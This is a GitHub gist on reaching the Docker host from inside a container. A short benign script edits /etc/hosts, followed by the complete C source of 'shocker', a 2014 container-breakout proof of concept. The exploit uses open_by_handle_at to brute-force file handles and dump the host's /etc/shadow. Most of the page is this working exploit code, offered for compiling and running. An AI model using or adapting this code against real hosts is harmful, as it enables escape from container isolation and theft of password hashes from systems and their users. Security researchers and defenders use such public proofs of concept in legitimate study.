http://blog.michaelhamrah.com/2014/06/accessing-the-docker-host-server-within-a-container/
Last active
December 7, 2015 22:18
-
-
Save cheeyeo/df8fba10bfda88459565 to your computer and use it in GitHub Desktop.
Access docker host from container
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
SED="$(which sed)" | |
NETSTAT="$(which netstat)" | |
GREP="$(which grep)" | |
AWK="$(which awk)" | |
CAT="$(which cat)" | |
$SED '/dockerhost$/d' /etc/hosts > /etc/hosts.tmp | |
DOCKERHOST="$($NETSTAT -nr | $GREP '^0\.0\.0\.0' | $AWK '{print $2}')" | |
echo "$DOCKERHOST dockerhost" >> /etc/hosts.tmp |
Docker host is reachable through the address of the Docker bridge, which happens to be the default gateway for the container.
From the host:
From the container:
#!/bin/sh
hostip=$(ip route show | awk '/default/ {print $3}') echo $hostip
you will only be able to access host services that are either (a) listening on IPADDR_ANY (aka 0.0.0.0) or that are explicitly listening on the docker0 interface.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer | |
* | |
* Demonstrates that any given docker image someone is asking | |
* you to run in your docker setup can access ANY file on your host, | |
* e.g. dumping hosts /etc/shadow or other sensitive info, compromising | |
* security of the host and any other docker VM's on it. | |
* | |
* docker using container based VMM: Sebarate pid and net namespace, | |
* stripped caps and RO bind mounts into container's /. However | |
* as its only a bind-mount the fs struct from the task is shared | |
* with the host which allows to open files by file handles | |
* (open_by_handle_at()). As we thankfully have dac_override and | |
* dac_read_search we can do this. The handle is usually a 64bit | |
* string with 32bit inodenumber inside (tested with ext4). | |
* Inode of / is always 2, so we have a starting point to walk | |
* the FS path and brute force the remaining 32bit until we find the | |
* desired file (It's probably easier, depending on the fhandle export | |
* function used for the FS in question: it could be a parent inode# or | |
* the inode generation which can be obtained via an ioctl). | |
* [In practise the remaining 32bit are all 0 :] | |
* | |
* tested with docker 0.11 busybox demo image on a 3.11 kernel: | |
* | |
* docker run -i busybox sh | |
* | |
* seems to run any program inside VMM with UID 0 (some caps stripped); if | |
* user argument is given, the provided docker image still | |
* could contain +s binaries, just as demo busybox image does. | |
* | |
* PS: You should also seccomp kexec() syscall :) | |
* PPS: Might affect other container based compartments too | |
* | |
* $ cc -Wall -std=c99 -O2 shocker.c -static | |
*/ | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <errno.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <dirent.h> | |
#include <stdint.h> | |
struct my_file_handle { | |
unsigned int handle_bytes; | |
int handle_type; | |
unsigned char f_handle[8]; | |
}; | |
void die(const char *msg) | |
{ | |
perror(msg); | |
exit(errno); | |
} | |
void dump_handle(const struct my_file_handle *h) | |
{ | |
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes, | |
h->handle_type); | |
for (int i = 0; i < h->handle_bytes; ++i) { | |
fprintf(stderr,"0x%02x", h->f_handle[i]); | |
if ((i + 1) % 20 == 0) | |
fprintf(stderr,"\n"); | |
if (i < h->handle_bytes - 1) | |
fprintf(stderr,", "); | |
} | |
fprintf(stderr,"};\n"); | |
} | |
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh) | |
{ | |
int fd; | |
uint32_t ino = 0; | |
struct my_file_handle outh = { | |
.handle_bytes = 8, | |
.handle_type = 1 | |
}; | |
DIR *dir = NULL; | |
struct dirent *de = NULL; | |
path = strchr(path, '/'); | |
// recursion stops if path has been resolved | |
if (!path) { | |
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle)); | |
oh->handle_type = 1; | |
oh->handle_bytes = 8; | |
return 1; | |
} | |
++path; | |
fprintf(stderr, "[*] Resolving '%s'\n", path); | |
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0) | |
die("[-] open_by_handle_at"); | |
if ((dir = fdopendir(fd)) == NULL) | |
die("[-] fdopendir"); | |
for (;;) { | |
de = readdir(dir); | |
if (!de) | |
break; | |
fprintf(stderr, "[*] Found %s\n", de->d_name); | |
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) { | |
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino); | |
ino = de->d_ino; | |
break; | |
} | |
} | |
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n"); | |
if (de) { | |
for (uint32_t i = 0; i < 0xffffffff; ++i) { | |
outh.handle_bytes = 8; | |
outh.handle_type = 1; | |
memcpy(outh.f_handle, &ino, sizeof(ino)); | |
memcpy(outh.f_handle + 4, &i, sizeof(i)); | |
if ((i % (1<<20)) == 0) | |
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i); | |
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) { | |
closedir(dir); | |
close(fd); | |
dump_handle(&outh); | |
return find_handle(bfd, path, &outh, oh); | |
} | |
} | |
} | |
closedir(dir); | |
close(fd); | |
return 0; | |
} | |
int main() | |
{ | |
char buf[0x1000]; | |
int fd1, fd2; | |
struct my_file_handle h; | |
struct my_file_handle root_h = { | |
.handle_bytes = 8, | |
.handle_type = 1, | |
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0} | |
}; | |
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n" | |
"[***] The tea from the 90's kicks your sekurity again. [***]\n" | |
"[***] If you have pending sec consulting, I'll happily [***]\n" | |
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"); | |
read(0, buf, 1); | |
// get a FS reference from something mounted in from outside | |
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0) | |
die("[-] open"); | |
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0) | |
die("[-] Cannot find valid handle!"); | |
fprintf(stderr, "[!] Got a final handle!\n"); | |
dump_handle(&h); | |
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0) | |
die("[-] open_by_handle"); | |
memset(buf, 0, sizeof(buf)); | |
if (read(fd2, buf, sizeof(buf) - 1) < 0) | |
die("[-] read"); | |
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf); | |
close(fd2); close(fd1); | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment